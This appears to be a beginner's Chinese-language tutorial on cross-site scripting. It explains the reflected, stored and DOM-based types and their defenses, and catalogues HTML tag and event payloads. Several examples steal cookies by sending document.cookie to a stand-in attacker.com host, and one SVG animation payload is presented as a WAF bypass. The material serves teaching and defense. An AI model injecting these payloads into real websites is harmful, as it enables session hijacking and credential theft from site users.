XSS攻击全解析：原理、类型与防御【详细】

1. 前言

初次学习，比较简陋，有出错地方请指正

参考大佬文献

• XSS漏洞详解：原理、类型、危害与防御策略-CSDN博客
• XSS 攻击（详细）_xss攻击-CSDN博客
• XSS-跨站脚本攻击（非常详细），零基础入门到精通，看这一篇就够了-CSDN博客
• 【THM】Cross-site Scripting(XSS跨站脚本漏洞)-学习 – Hekeatsll – 博客园

2. 纸上谈兵

2.1. 什么是跨站脚本攻击

跨站脚本攻击(xss），指攻击者通过篡改网页，嵌入恶意脚本程序，在用户浏览网页时，控制用户浏览器进行恶意操作的一种攻击方式。

XSS又叫CSS（Cross Site Script）跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

借助这种攻击方式，攻击者能够窃取用户的敏感信息，如登录凭证、个人隐私数据等；劫持用户会话，以用户身份进行各种操作；甚至篡改网站内容，严重损害网站的声誉和用户信任。举例来说，某电商网站若存在 XSS 漏洞，攻击者可通过注入恶意脚本，窃取用户的账号密码，进而盗刷用户的账户资金，给用户带来直接的经济损失。

2.2. XSS的原理

• 攻击者对含有漏洞的服务器发起XSS攻击（注入JS代码）。
• 诱使受害者打开受到攻击的服务器URL。
• 受害者在Web浏览器中打开URL，恶意脚本执行。

2.3. xss的类型

2.3.1. 反射型 XSS

2.3.1.1. 定义

反射型 XSS 攻击的脚本通常存在于 URL 中，服务器在接收到请求后，会直接将包含恶意脚本的内容返回给浏览器执行。

这种攻击属于非持久性攻击，

【攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。一般是后端代码进行处理】

例如，攻击者构造链接 “http://example.com/search?query=alert('XSS')”，当用户点击该链接时，服务器将恶意脚本反射回浏览器，进而执行弹窗操作。

【核心特点是恶意代码通过URL参数传递，服务器未过滤直接反射回页面执行。】

2.3.1.2. 核心原理：URL传参→服务器反射→浏览器执行

攻击者构造包含恶意脚本的URL，诱导用户点击。服务器将URL中的参数（如搜索关键词、表单输入）原样嵌入响应页面，浏览器误认为是可信内容，执行恶意脚本。

• 区别于存储型XSS：恶意代码不存储在服务器，仅在单次请求中“反射”执行。

2.3.1.3. 最直观的示例：搜索框注入

假设某网站的搜索功能直接显示用户输入（未转义），攻击者构造如下链接：

http://example.com/search?keyword=<script>alert('XSS攻击')</script>

当用户点击该链接，服务器返回的页面会包含这段脚本，浏览器执行后弹出警告框 ⚠️。

2.3.1.4. 其他常见场景示例

• 表单提交：如评论、登录页的错误提示直接回显用户输入，攻击者构造含脚本的表单数据。
• HTTP头注入：少数网站会将Referer或User-Agent头直接显示在页面（如“您从xx页面跳转而来”），攻击者可篡改这些头注入脚本。
• DOM型变种：部分反射型XSS发生在前端（无需服务器参与），例如页面通过document.location.search直接读取URL参数并插入DOM，如：

// 前端代码（不安全）
let keyword = new URLSearchParams(location.search).get('keyword');
document.getElementById('result').innerHTML = keyword;

攻击者构造keyword=<script>stealCookie()</script>即可触发。

2.3.1.5. 攻击链的“完整形态”

2.3.1.6. 关键识别点

• URL特征：参数中含<script>、<img src=x onerror=…>等HTML/JS代码。
• 页面行为：点击链接后出现异常弹窗、页面跳转、内容篡改等。
• 响应特征：查看页面源码，若URL参数直接出现在HTML中且未转义（如&lt;未替换<），则可能存在漏洞。

2.3.1.7. 防御核心：

对用户输入进行HTML实体转义（如<→&lt;），或使用CSP限制脚本执行。

2.3.2. 存储型XSS

2.3.2.1. 定义

存储型XSS（Stored XSS）又称持久型XSS，是危害最大的XSS类型之一。

核心特点是恶意代码被永久存储在服务器（如数据库、文件），所有访问包含该代码页面的用户都会触发攻击。

2.3.2.2. 核心原理

• 关键区别：无需诱导用户点击特殊URL，只要访问正常页面即可触发，隐蔽性极强。

2.3.2.3. 典型场景与示例

最常见于用户交互功能，如：

• 评论区/留言板：攻击者提交 <script>fetch('http://attacker.com/steal?c='+document.cookie)</script>，其他用户查看评论时，脚本窃取Cookie并发送到攻击者服务器。
• 个人资料页：攻击者在“个性签名”中插入 <img src=x onerror=alert('XSS')>，所有访问其资料页的用户都会看到弹窗。
• 论坛/博客：恶意代码被嵌入帖子内容，新用户浏览时自动执行。

2.3.2.4. 主要危害

• 批量窃取Cookie：攻击所有访问页面的用户，导致账号批量被盗。
• 传播蠕虫：如2005年MySpace的“萨米蠕虫”，通过存储型XSS自动感染百万用户。
• 篡改页面内容：替换正常页面为钓鱼网站，骗取用户密码或支付信息。
• 结合CSRF攻击：利用用户身份执行恶意操作（如转账、发布广告）。

2.3.2.5. 防御核心策略

• • 对用户输入进行白名单验证（如仅允许字母、数字），拒绝含<script>、<img>等危险标签的内容。
  • 示例：评论区限制输入长度，过滤HTML特殊字符（<→&lt;，>→&gt;）。

• • 从服务器读取数据后，在输出到页面时进行HTML实体转义，确保恶意代码被当作文本而非脚本执行。
  • 示例：使用htmlspecialchars()（PHP）或escapeHtml()（Java）处理用户输入。

• • 部署内容安全策略（CSP），限制页面仅加载可信域名的脚本（如Content-Security-Policy: script-src 'self'）。
  • 避免使用innerHTML等直接插入HTML的危险API，改用textContent输出纯文本。

• • 检查数据库中存储的用户内容，及时清理恶意代码；对历史漏洞（如旧版本CMS）进行补丁更新。

2.3.2.6. 关键提示

存储型XSS的隐蔽性使其成为黑产常用手段，防御需从输入过滤和输出转义双重入手，缺一不可。测试时可利用DVWA靶场的“Stored XSS”模块练习攻击与防御逻辑，强化理解 🛡️。

2.3.3. DOM型XSS

2.3.3.1. 定义

DOM型XSS（DOM-based XSS）是前端触发的跨站脚本攻击，

核心特点是恶意代码通过前端DOM操作执行，无需服务器参与。

2.3.3.2. 核心原理：前端直接操作DOM→未过滤导致执行

攻击者构造含恶意脚本的URL或输入，页面通过JavaScript直接读取用户输入并插入DOM

（如innerHTML、document.write），浏览器误认为是可信内容，执行恶意脚本。

• 关键区别：与反射型/存储型XSS不同，DOM型XSS的攻击完全发生在客户端，服务器返回的响应中不包含恶意代码，仅前端代码存在漏洞。

2.3.3.3. 最直观的示例：URL参数直接插入DOM

假设某网站的前端代码直接读取URL参数并插入页面（未转义）：

// 前端代码（不安全）
let keyword = new URLSearchParams(location.search).get('keyword');
document.getElementById('result').innerHTML = keyword;

攻击者构造如下链接：

http://example.com/page?keyword=<script>alert('DOM XSS攻击')</script>

当用户访问该链接，前端代码将keyword参数直接插入DOM，浏览器执行脚本弹出警告框 ⚠️。

2.3.3.4. 典型场景与变种示例

http://example.com/#<img src=x onerror=alert('XSS')>

前端代码若直接将hash值插入DOM（如document.getElementById('content').innerHTML = location.hash.substr(1)），则触发攻击。

2.3.3.5. 攻击链的“完整形态”

2.3.3.6. 防御核心策略

• • 禁用innerHTML、document.write、eval等直接执行HTML/JS的方法，改用textContent（仅输出纯文本）。
  • 示例：将element.innerHTML = userInput改为element.textContent = userInput。

• • 对用户输入的特殊字符进行HTML实体转义（如<→&lt;，>→&gt;），确保恶意代码被当作文本而非脚本。
  • 推荐使用成熟的转义库（如DOMPurify）处理富文本输入。

• • 现代框架（如React、Vue）默认对插值内容进行转义（如React的{}语法），减少DOM型XSS风险。

• • 部署内容安全策略（CSP），禁止内联脚本（script-src 'self'）和未授权域名的脚本加载。

2.3.3.7. 关键识别点

• 前端代码特征：存在直接读取用户输入（URL参数、表单、Cookie）并插入DOM的操作（如innerHTML、insertAdjacentHTML）。
• 攻击隐蔽性：服务器响应中无恶意代码，传统WAF（Web应用防火墙）难以检测，需通过前端代码审计发现漏洞。

DOM型XSS的防御核心是规范前端代码编写，避免直接将用户输入作为HTML/JS执行，从源头切断攻击路径 🛡️。

2.3.3.8. 与反射型xss区别

反射型XSS和DOM型XSS均属于非持久型XSS，但两者在数据流转路径、触发阶段和漏洞位置上存在本质差异，以下是关键对比：

2.3.3.8.1. 核心区别：数据是否经过服务器

2.3.3.8.2. 典型示例对比

// 后端PHP代码（不安全）
$keyword = $_GET['keyword'];
echo "<div>搜索结果：$keyword</div>";

攻击者构造链接：

http://example.com/search?keyword=<script>alert('反射型XSS')</script>

用户访问后，服务器返回的HTML中已包含<script>标签，浏览器直接执行。

// 前端JS代码（不安全）
let keyword = new URLSearchParams(location.search).get('keyword');
document.getElementById('result').innerHTML = keyword;

攻击者构造相同链接，但服务器返回的HTML中不包含恶意代码，前端JS将参数插入DOM时触发执行。

2.3.3.8.3. 关键识别方法

• 反射型XSS：在浏览器的响应数据包中能直接看到恶意代码（如<script>标签）。
• DOM型XSS：响应数据包中无恶意代码，需查看前端JS是否存在直接操作DOM的危险逻辑（如innerHTML、document.write）。

2.3.3.8.4. 防御策略差异

• 反射型XSS：需在后端对用户输入进行过滤/转义（如PHP的htmlspecialchars()），并在输出时编码。
• DOM型XSS：需在前端对所有DOM操作的输入进行转义（如使用textContent替代innerHTML），或通过CSP限制脚本执行。

两者的防御核心均为输入验证+输出编码，但反射型需关注后端，DOM型需聚焦前端代码安全 🛡️。

2.3.4. 总结【白痴一点】

XSS（跨站脚本攻击）本质是攻击者把恶意代码藏进网页，让用户浏览器执行，从而窃取信息或控制账户。

三种类型的核心区别在于恶意代码“藏在哪里”和“怎么触发”，用生活化场景类比更易懂：

2.3.4.1. 存储型XSS：“藏在网站数据库里的毒评论”

• 通俗理解：就像有人在论坛发了一条带“毒”的评论（含恶意代码），这条评论被网站永久存在数据库里。其他用户只要打开这个帖子，网站就会把这条“毒评论”从数据库里调出来显示，用户浏览器执行恶意代码。
• 例子：攻击者在评论区发<script>偷你密码</script>，网站没过滤就存起来。所有人看这个评论时，浏览器都会执行脚本偷密码。
• 特点：持久化攻击，只要网站不删这条“毒内容”，每个访问的人都会中招。

2.3.4.2. 反射型XSS：“钓鱼链接里的毒参数”

• 通俗理解：攻击者做了个“钓鱼链接”，里面藏着恶意代码（比如?search=<script>偷你信息</script>）。用户点了链接后，网站把这个“毒参数”直接“反射”回用户浏览器，浏览器以为是网站给的正常内容，执行恶意代码。
• 例子：你收到一条“点击查看中奖信息”的链接，点进去后网站显示“搜索结果：<script>偷你Cookie</script>”，其实是网站把链接里的恶意代码直接返回给你执行。
• 特点：一次性攻击，恶意代码不会存在网站里，只有点了钓鱼链接的人才会中招。

2.3.4.3. DOM型XSS：“网页自己把毒吃下去”

• 通俗理解：网页的前端代码（比如JavaScript）有个“坏习惯”——直接把用户输入（比如URL里的内容、搜索框输入）不加过滤就放到页面上。攻击者利用这个“坏习惯”，把恶意代码藏在用户输入里，网页自己把代码“吃”进去执行。
• 例子：网页搜索框实时显示你输入的内容，你输入<script>弹广告</script>，网页直接把这段内容放到页面上，浏览器就弹广告了。
• 特点：纯前端攻击，恶意代码根本没经过网站服务器，是网页自己的代码“不设防”导致的。

2.3.4.4. 一句话区分核心

• 存储型：恶意代码存在网站里，谁看谁中招；
• 反射型：恶意代码在钓鱼链接里，点链接才中招；
• DOM型：恶意代码在用户输入里，网页自己执行中招。

防御的核心都是**“过滤恶意代码”**：存储型和反射型要在网站后台过滤，DOM型要在前端代码里过滤，别让恶意代码“混进”网页执行 🛡️。

2.4. 常见XSS攻击方式【属性与标签】

列举的标签大部分是可以自动触发js代码的，无需用户去交互

2.4.1. scirpt 标签

<script>标签是HTML中定义或引入JavaScript代码的核心标签，浏览器遇到该标签时会暂停解析HTML，优先执行其中的脚本（特殊场景除外）。

2.4.1.1. 基础用法

• 内嵌脚本：直接在标签内写代码

<script>
alert("这是内嵌脚本");
</script>

• 外部脚本：通过src属性引入外部.js文件

<script src="https://example.com/script.js"></script>

2.4.1.2. 关键属性

• src：指定外部脚本文件的URL（引入外部脚本时必用）。
• async：异步加载脚本，加载完成后立即执行（不阻塞HTML解析，脚本执行顺序不确定）。
• defer：延迟执行脚本，HTML解析完成后按顺序执行（适合依赖DOM的脚本）。
• type：指定脚本类型，默认text/javascript（可省略）；若为module则表示ES6模块。

2.4.1.3. 安全注意事项

• 避免内联脚本：直接写在HTML中的脚本易被XSS攻击利用（如注入<script>恶意代码</script>）。
• 限制外部脚本源：通过CSP（内容安全策略） 限制src只能加载可信域名的脚本（如Content-Security-Policy: script-src 'self' https://trusted.com）。
• 警惕eval()：动态执行字符串的eval()函数风险极高，易被注入恶意代码。

2.4.1.4. 一句话总结

<script>是JavaScript的“入口”，合理使用async/defer提升页面性能，通过CSP和输入过滤防范XSS攻击 🛡️。

2.4.1.5. 攻击

<script>alert(1);</script>
<script>alert("xss");</script>

2.4.2. img 标签

<img>标签是HTML中嵌入图像的专用标签，属于空元素（无需闭合标签），浏览器通过该标签加载并渲染图片资源。

2.4.2.1. 基础用法

<img src="image.jpg" alt="描述图片内容" width="300" height="200">

• src：必选属性，指定图片的URL（本地路径或网络地址）。
• alt：必选属性，图片无法加载时显示的替代文本（提升可访问性）。

2.4.2.2. 关键属性

2.4.2.3. 安全与性能注意事项

• 防范XSS攻击：

• • 避免直接将用户输入作为src值（如src="javascript:alert(1)"），需后端过滤或转义。
  • 限制图片源为可信域名（通过CSP的img-src指令）。

• 性能优化：

• • 使用loading="lazy"实现懒加载，减少初始加载时间。
  • 优先使用WebP格式（体积小、质量高），通过picture标签降级兼容旧浏览器。

2.4.2.4. 一句话总结

<img>是网页图像的“载体”，alt和loading是提升可访问性与性能的关键，需警惕src注入风险 🛡️。

2.4.2.5. 攻击

<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>

2.4.3. input 标签

<input>标签是HTML中收集用户输入的核心表单元素，通过type属性支持多种输入类型（如文本、密码、单选框等），是交互型网页的基础组件。

2.4.3.1. 基础用法

<input type="text" name="username" placeholder="请输入用户名" required>

• type：必选属性，决定输入框的功能（如text、password、email等）。
• name：表单提交时的参数名（后端通过此获取值）。
• placeholder：输入框内的提示文本（不提交）。

2.4.3.2. 常用type类型

2.4.3.3. 关键属性

• required：标记为必填项（提交时自动验证）。
• maxlength：限制输入字符数（如密码长度）。
• pattern：通过正则表达式验证输入格式（如pattern="[A-Za-z0-9]{6,}"限制密码为6位以上字母数字）。
• disabled：禁用输入框（无法编辑，值不提交）。
• readonly：只读输入框（可查看但无法编辑，值会提交）。

2.4.3.4. 安全注意事项

• 防范XSS攻击：

• • 后端必须对用户输入进行过滤/转义（如将<转义为&lt;），避免注入恶意脚本。
  • 避免使用type="button"执行JavaScript（优先用addEventListener绑定事件）。

• 敏感输入保护：

• • 密码输入用type="password"，避免明文显示；重要操作需二次验证。

2.4.3.5. 一句话总结

<input>是用户与网页交互的“入口”，合理使用type和验证属性提升体验，后端过滤是防范注入攻击的关键 🛡️。

2.4.3.6. 攻击

onfocus 事件在对象获得焦点时发生：

<input onfocus=alert(1);>

竞争焦点，从而触发onblur事件：

<input onblur=alert(1) autofocus><input autofocus>

input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。

可以通过autofocus属性自动执行本身的focus事件，这个向量是使焦点自动跳到输入元素上，触发焦点事件，无需用户去触发：

<input onfocus="alert(1);" autofocus>
" οnclick=alert(1)> 这样需要点击一下输入框<br>
" onmouseover=alert(1)> 需要鼠标划过输入框<br>

2.4.3.6.1. 解释一下

焦点事件（onfocus/onblur）是HTML中用户交互的基础事件，但通过autofocus属性可绕过用户操作自动触发，这是XSS攻击的常见利用点。以下是关键场景解析：

【焦点：类似于是对象】

【触发方式有两种：自动与手动onfocus】

onfocus：主动聚焦触发

• 用户触发：点击输入框或按Tab键聚焦时触发。

<input onfocus="alert('手动聚焦触发');"> <!– 需用户点击/Tab –>
<input onfocus="alert('你点击我了！');">

效果：你必须点击输入框，才会弹出提示框。

autofocus：自动触发：通过autofocus属性，页面加载时自动聚焦并执行onfocus代码。

<input onfocus="alert('自动聚焦触发');" autofocus> <!– 无需用户操作 –>
<input onfocus="alert('我自动弹出来了！');" autofocus>

效果：页面一打开，提示框直接弹出，你什么都不用做。

onblur：焦点丢失触发

autofocus的规则是：一个页面只能有一个元素自动获得焦点。如果多个元素都加了autofocus，浏览器会优先给第一个元素焦点，第二个元素因为“没抢到焦点”，直接触发onblur（失去焦点）。

<input onblur="alert('焦点丢失触发');" autofocus> <!– 第一个：获得焦点 –>
<input autofocus> <!– 第二个：竞争失败，直接触发onblur –>

其他交互事件的触发条件

• onclick：需用户点击输入框才能触发（无自动触发途径）。
• onmouseover：需用户鼠标划过输入框才能触发（依赖鼠标操作）。

2.4.3.6.2. 安全风险：XSS攻击的“自动触发”向量

autofocus+onfocus是最危险的自动触发组合，攻击者可构造如下 payload 注入网页：

<input onfocus="stealCookie();" autofocus> <!– 页面加载即执行恶意代码 –>

• 风险点：无需用户任何操作，恶意代码在页面加载时自动执行，窃取Cookie、重定向页面等。

2.4.4. details 标签

<details>标签是HTML5新增的折叠/展开组件，用于创建可交互的“手风琴”效果，默认折叠内容，点击后展开，常用于隐藏非关键信息（如详情、帮助文本）。

【可以通过f12去查看页面的源代码，会有这个的出现html】

2.4.4.1. 基础用法

<details>
<summary>点击展开更多信息</summary>
<p>这里是折叠的内容，点击上方标题可展开/收起。</p>
</details>

• <summary>：必选子标签，定义折叠面板的“标题栏”（点击触发展开/收起）。
• 内部内容：<summary>之外的部分为折叠内容（可包含任意HTML元素，如文本、图片、列表）。

2.4.4.2. 关键特性

• 默认折叠：页面加载时内容默认隐藏，点击<summary>后展开。
• open属性：添加open可让面板默认展开：

<details open>
<summary>默认展开的面板</summary>
<p>内容直接可见</p>
</details>

• 可访问性：自动支持键盘交互（按Enter或Space键切换状态），屏幕阅读器会识别为“折叠控件”。

2.4.4.3. 常见使用场景

• FAQ问答：每个问题作为<summary>，答案作为折叠内容。
• 代码示例：隐藏冗长代码，点击展开查看。
• 详情补充：如商品详情页的“规格参数”“售后政策”。

2.4.4.4. 注意事项

• 兼容性：支持所有现代浏览器（IE不支持，需降级处理）。
• 样式自定义：可通过CSS修改<summary>的默认箭头（如list-style-type: none;隐藏箭头，自定义图标）。

2.4.4.5. 一句话总结

<details>是“内容折叠神器”，搭配<summary>实现轻量交互，无需JavaScript即可完成展开/收起，适合优化页面信息层级 📂。

2.4.4.6. 攻击

使用details 标签的 open 属性触发ontoggle事件，无需用户去点击即可触发：

<details open ontoggle=alert(1);>

ontoggle是<details>的专属事件，当面板从“收起→展开”或“展开→收起”时触发。

但通过open属性，可绕过用户点击自动触发：

2.4.4.6.1. 手动触发：需要用户点击

默认情况下，<details>是收起的，用户点击后才会触发ontoggle：

<details ontoggle="alert('你点击展开了！');">
<summary>点击展开</summary>
<p>隐藏的内容</p>
</details>

• 效果：用户必须点击“点击展开”，才会弹出提示框。

2.4.4.6.2. 自动触发：无需用户操作（重点！）

当<details>添加open属性时，页面加载时会默认展开，此时面板状态从“初始收起→默认展开”，直接触发ontoggle事件：

<details open ontoggle="alert('我自动展开并触发了！');">
<summary>自动展开</summary>
<p>隐藏的内容</p>
</details>

• 效果：页面一打开，提示框直接弹出，你什么都不用做。

2.4.4.6.3. 为什么这是XSS攻击的“新向量”？

攻击者可以利用open+ontoggle构造自动执行的恶意代码，比如：

<details open ontoggle="stealYourData();">
<summary>无害的标题</summary>
<p>隐藏的恶意代码</p>
</details>

• 风险：页面加载时，恶意代码直接执行，用户完全没感知（因为面板默认展开，看起来和普通内容一样）。

2.4.4.6.4. 一句话总结

<details>的open属性让“折叠面板”变成了自动执行代码的“开关”——本来需要用户点击才触发的事件，现在页面加载就跑。记住：凡是“默认状态变化就能触发的事件”，都是XSS攻击的潜在目标 🛡️。

2.4.5. SVG标签

SVG（Scalable Vector Graphics）是基于XML的矢量图形格式，用于在网页或应用中渲染高清晰度的图形（放大不失真）。以下是SVG标签的核心知识点：

2.4.5.1. SVG标签的基本结构

一个完整的SVG文件必须包含根标签<svg>，并指定命名空间和尺寸：

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<!– 图形内容（如矩形、圆形、路径等） –>
<rect x="50" y="50" width="100" height="100" fill="red" />
</svg>

• xmlns：必须声明SVG命名空间（固定值http://www.w3.org/2000/svg）。
• width/height：图形的显示尺寸（支持像素、百分比等单位）。

2.4.5.2. 常用子标签：绘制基础图形

SVG通过子标签绘制不同形状，核心标签如下：

2.4.5.3. SVG的核心优势

• 矢量特性：放大后不会模糊（适合图标、Logo、图表）。
• 可交互性：支持添加事件（如onclick）和动画（如<animate>标签）。
• 轻量灵活：文件体积小，可通过CSS或JS动态修改样式/内容。

2.4.5.4. SVG的常见用途

• 网页图标：替代PNG/JPG，实现高清适配（如Iconfont的SVG图标）。
• 数据可视化：结合D3.js等库绘制动态图表（折线图、饼图）。
• 动画效果：通过<animate>或CSS实现图形的平滑过渡（如加载动画）。

2.4.5.5. 一句话总结

SVG是网页矢量图形的标准格式，通过XML标签定义图形，兼具高清、交互、轻量三大优势，是现代前端开发的必备技术之一 🎨。

2.4.5.6. 攻击

SVG的onload事件和<script>标签是最常见的自动触发手段，无需用户点击即可执行恶意代码：

2.4.5.6.1. onload事件：页面加载即执行

SVG加载时自动触发onload，直接执行内联脚本：

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('SVG XSS')">
<!– 图形内容（可隐藏） –>
</svg>

• 风险：嵌入网页或通过<img src="恶意.svg">引用时，浏览器会解析并执行脚本。

2.4.5.6.2. <script>标签：直接嵌入脚本

SVG允许直接插入<script>标签，内容会被浏览器当作JavaScript执行：

<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://攻击者服务器?cookie=' + document.cookie); // 窃取Cookie
</script>
</svg>

2.4.5.6.3. 动画标签绕过WAF：animate/animateTransform

利用SVG动画属性（如values/keyTimes）混淆恶意代码，绕过防火墙检测：

<svg>
<animate
xlink:href="#xss"
attributeName="href"
dur="5s"
repeatCount="indefinite"
keyTimes="0;0;1"
values="https://正常网址?&semi;javascript:alert(1)&semi;0"
/>
<a id="xss"><text x="20" y="20">点击触发</text></a>
</svg>

• 原理：通过动画循环加载javascript:伪协议，绕过WAF对静态脚本的检测。

2.4.6. select 标签

<select>是HTML中用于创建下拉选择框【创建下拉列表】的表单标签，允许用户从预定义选项中选择一个或多个值。以下是其核心用法与属性：

2.4.6.1. 基本结构

通过<select>包裹<option>子标签实现下拉列表：

<select name="city">
<option value="beijing">北京</option>
<option value="shanghai" selected>上海</option> <!– 默认选中 –>
<option value="guangzhou">广州</option>
</select>

• name：表单提交时的参数名（必填）。
• <option>：下拉选项，value为提交值，标签内文字为显示文本。

2.4.6.2. 关键属性

2.4.6.3. 扩展用法：<optgroup>分组选项

通过<optgroup>可将选项按类别分组，提升可读性：

<select name="fruit">
<optgroup label="温带水果">
<option value="apple">苹果</option>
<option value="pear">梨</option>
</optgroup>
<optgroup label="热带水果">
<option value="banana">香蕉</option>
<option value="mango">芒果</option>
</optgroup>
</select>

2.4.6.4. 常见应用场景

2.4.6.5. 一句话总结

<select>是HTML表单中下拉选择交互的核心控件，通过<option>定义选项，支持单选/多选、分组等功能，是收集用户选择类数据的基础工具 📋。

2.4.7. iframe 标签

<iframe>（Inline Frame）是HTML中用于在当前页面嵌入另一个HTML文档的标签，常用于集成外部内容（如地图、视频、第三方页面）。以下是其核心用法与注意事项：

2.4.7.1. 基本结构

通过src属性指定嵌入的外部页面URL：

<iframe
src="https://example.com"
width="600"
height="400"
title="示例页面"
></iframe>

• src：必填，嵌入页面的URL（支持相对路径或绝对路径）。
• width/height：框架的尺寸（单位：像素或百分比）。
• title：辅助屏幕阅读器识别框架内容（无障碍设计必备）。

2.4.7.2. 关键属性

2.4.7.3. 攻击

【防御：使用sandbox属性 限制iframe的权限（如禁止脚本执行、表单提交）：】

攻击者利用iframe的src属性执行恶意代码，常见场景包括：

<iframe src="javascript:alert('XSS')"></iframe>

当用户访问包含该iframe的页面时，脚本会直接执行，可用于窃取Cookie或重定向页面。

<iframe src="http://attacker.com/malicious.html" width="0" height="0"></iframe>

恶意页面中可包含窃取用户信息的代码（如document.cookie），并通过POST请求发送给攻击者服务器。

2.4.8. video 标签

<video>是HTML5引入的原生视频播放标签，用于在网页中嵌入视频内容，无需依赖Flash插件。

2.4.8.1. 基本结构

<video
src="example.mp4"
width="640"
height="360"
controls
></video>

• src：必填，视频文件的URL（支持相对/绝对路径）。
• controls：显示浏览器默认的播放控件（播放/暂停、音量、进度条等）。
• width/height：视频的显示尺寸（单位：像素）。

2.4.8.2. 自定义控件：JavaScript API

通过JavaScript可控制视频的播放、暂停、音量等，实现自定义播放器：

const video = document.querySelector('video');
// 播放
video.play();
// 暂停
video.pause();
// 设置音量（0-1）
video.volume = 0.5;
// 监听播放事件
video.addEventListener('play', () => {
console.log('视频开始播放');

2.4.8.3. 攻击

<video><source onerror=alert(1)>

2.4.9. audio 标签

<audio>是HTML5引入的原生音频播放标签，用于在网页中嵌入音频内容（如音乐、播客、音效等），无需依赖Flash插件。

【video是指视频之类的，audio是指音乐，声音之类的】

2.4.9.1. 基本结构

通过src指定音频文件路径，支持MP3、WAV、Ogg等格式：

<audio
src="music.mp3"
controls
></audio>

• src：必填，音频文件的URL（相对/绝对路径均可）。
• controls：显示浏览器默认的音频控件（播放/暂停、音量、进度条等）。

2.4.9.2. 攻击

<audio src=x onerror=alert(1);>

【如：οnerrοr="fetch('http://attacker.com/steal?cookie='+document.cookie)】

2.4.10. body 标签

<body>是HTML文档的核心内容容器，所有可见的页面元素（如文本、图片、按钮、视频）都必须嵌套在<body>标签内。以下是其核心作用与属性：

2.4.10.1. 基本结构

<body>位于<head>之后，是HTML文档的“主体”部分：

<!DOCTYPE html>
<html>
<head>
<title>页面标题</title>
</head>
<body>
<!– 所有可见内容都在这里 –>
<h1>这是页面标题</h1>
<p>这是一段文本</p>
</body>
</html>

2.4.10.2. 核心属性

2.4.10.3. 常见用法

<body onload="initPage()">
<script>
function initPage() {
console.log('页面加载完成');
}
</script>
</body>

⚠️ 安全风险：直接在<body>上绑定onload等事件可能被XSS攻击利用（如注入恶意代码），建议通过JavaScript动态绑定事件。

2.4.10.4. 安全与性能建议

window.addEventListener('load', () => {
console.log('页面加载完成');
});

2.4.10.5. 一句话总结

<body>是HTML文档的内容承载区，所有可见元素的“家”，同时也是页面事件（如加载、卸载）的触发载体 📄。

2.4.10.6. 攻击

2.4.10.6.1. onload

body onload=alert(1)

• <body>：HTML文档的内容容器标签。
• onload：<body>的加载事件属性，当页面完全加载（包括图片、脚本等资源）时触发。
• alert(1)：JavaScript的弹窗函数，此处作为恶意脚本的简化示例（实际攻击中可能替换为窃取Cookie、跳转钓鱼网站等代码）。

原理：

当用户访问包含该代码的页面时：

2.4.10.6.2. onscroll

onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus，当用户滑动滚动条的时候自动触发，无需用户去点击触发：

<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

• <body>：HTML文档的内容容器标签。
• onscroll：<body>的滚动事件属性，当页面滚动条滚动时触发。
• <br>重复：通过大量换行符（<br>）拉长页面高度，强制出现滚动条，用户只需滑动页面即可触发事件。
• alert(1)：JavaScript弹窗函数（实际攻击中可能替换为窃取Cookie、跳转钓鱼网站等恶意代码）。

原理：

当用户访问包含该代码的页面时：

2.4.11. textarea 标签

<textarea> 是HTML中用于创建多行文本输入区域的标签，常用于表单中的评论、反馈、代码输入等场景，核心特点是支持换行和长文本输入。

2.4.11.1. 基本语法

<textarea rows="行数" cols="列数" placeholder="提示文字" name="字段名">
默认文本（可选）
</textarea>

2.4.11.2. 关键属性

• rows：指定输入框的可见行数（高度），如 rows="5" 表示显示5行文本。
• cols：指定输入框的可见列数（宽度），如 cols="30" 表示每行显示30个字符。
• placeholder：输入框为空时的提示文字，如 placeholder="请输入您的评论…"。
• name：表单提交时的字段名，用于后端接收数据。
• disabled：设置输入框为禁用状态（不可编辑）。
• required：表单提交时必须填写该字段。

2.4.11.3. 与 <input type="text"> 的区别

2.4.11.4. 攻击

<textarea onfocus=alert(1); autofocus>

• <textarea>：HTML的多行文本输入框标签。
• onfocus：<textarea>的聚焦事件属性，当输入框获得焦点（如用户点击、自动聚焦）时触发。
• autofocus：HTML5的自动聚焦属性，页面加载时自动将光标定位到该输入框，无需用户操作。
• alert(1)：JavaScript弹窗函数（实际攻击中可能替换为窃取Cookie、跳转钓鱼网站等恶意代码）。

原理：

当用户访问包含该代码的页面时：

2.5. xss的危害

XSS（跨站脚本攻击）的本质是攻击者通过注入恶意脚本，在用户浏览器中执行未授权操作，其危害可分为数据窃取、账户劫持、业务破坏三大类，具体表现如下：

2.5.1. 直接窃取敏感信息

• Cookie/Token被盗：恶意脚本通过document.cookie读取用户登录凭证，攻击者可直接登录用户账户（如网银、社交平台）。
• 键盘记录：注入键盘记录脚本，窃取用户输入的密码、银行卡号等信息。
• 会话劫持：利用窃取的Cookie，冒充用户身份进行操作（如转账、发布内容）。

2.5.2. 控制用户账户与设备

• 账户接管：通过修改用户密码、绑定攻击者手机号，完全控制账户。
• 钓鱼攻击：在页面中注入伪造的登录框/支付弹窗，诱导用户输入敏感信息。
• 恶意操作：强制用户执行操作（如自动点赞、转发垃圾信息、购买商品）。

2.5.3. 破坏业务与传播恶意代码

• 网页篡改：替换页面内容（如显示虚假公告、植入广告），损害网站信誉。
• 蠕虫传播：利用XSS漏洞自动感染其他用户（如早期Samy蠕虫通过MySpace传播）。
• 植入恶意软件：通过脚本下载木马、勒索软件，感染用户设备。

2.5.4. 典型案例警示

• 2018年微博XSS事件：攻击者利用评论区反射型XSS漏洞，窃取大量用户Cookie，导致账户被盗。
• 某电商平台DOM型XSS：用户搜索时注入脚本，篡改商品价格，诱导其他用户低价下单。

2.6. XSS 攻击工具与平台

2.6.1. XSS 攻击平台

